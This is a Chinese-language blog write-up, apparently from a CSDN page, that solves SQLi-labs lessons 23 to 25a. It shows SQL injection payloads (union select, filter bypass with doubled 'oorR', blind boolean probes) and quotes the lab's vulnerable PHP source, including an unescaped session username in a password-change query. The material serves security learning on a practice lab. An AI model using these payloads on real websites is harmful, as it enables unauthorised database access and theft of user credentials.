sqli labs 5

1. 题目:23 Get-error-based-script comments

输入代码 id=1',
报错:'1'' LIMIT 0,1
根据错误可以尝试构造sql语句: select * from table where id='1' limit 0,1

所以注入的语句可以是:1' or 1=1 --+(#),但是这两种注释都报错,猜测可能是过滤了字符串 -- # , 

再次构造注入语句是: 1' or '1'='1  页面正常显示 

构造sql语句:-1' union select version(),database(),3 or '1'='1
页面显示: Your Login name:security
Your Password:1 

ok,注入点找到了!!!


----------
下来我们看看源码:
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

查看源码后,真的是过滤了 -- # ,而且查询语句也是差不多的!!!

2. 题目:24

这道题目是查看源码后找到的注入:
在pass_change.php 中存在如下这一段代码:
**$username= $_SESSION["username"];**
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);

    if($pass==$re_pass)
    {   
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
        $row = mysql_affected_rows();
        echo '<font size="3" color="#FFFF00">';

这段代码对username字段没有检测,所以在这里可以进行注入,



3. 题目:25

输入id=1',页面报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

尝试构造查询的sql语句: select * from table where id='1' limit 0,1;

使输入的id=1' or 1=1 # 页面报错,结合题目的提示,判断过滤了or
所以考虑不使用or,
构造id=1' oorR  1=1 --+, 页面返回正常,所以我们可以考虑构造如下的id
id=1' oorR (select count(*) from aa )>0 --+,在页面中返回 Table 'security.aa' doesn't exist ,可知在数据库中不存在aa表

ok,注入点找出来了,接下来就可以从数据库中得到自己想要的

4. 题目:25a

这道题和上一道题很相似,上一题是直接爆出slq语法错误,这一题不会报,只能根据返回的页面判断是否是注入成功。

使id=?id=1 oOrr (select count(*) from users)>0  --+,页面中返回
Your Login name:Dumb
Your Password:Dumb,这中情况下就是sql语句正常执行了,如果没有显示侧表明,sql语句没有正常执行。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值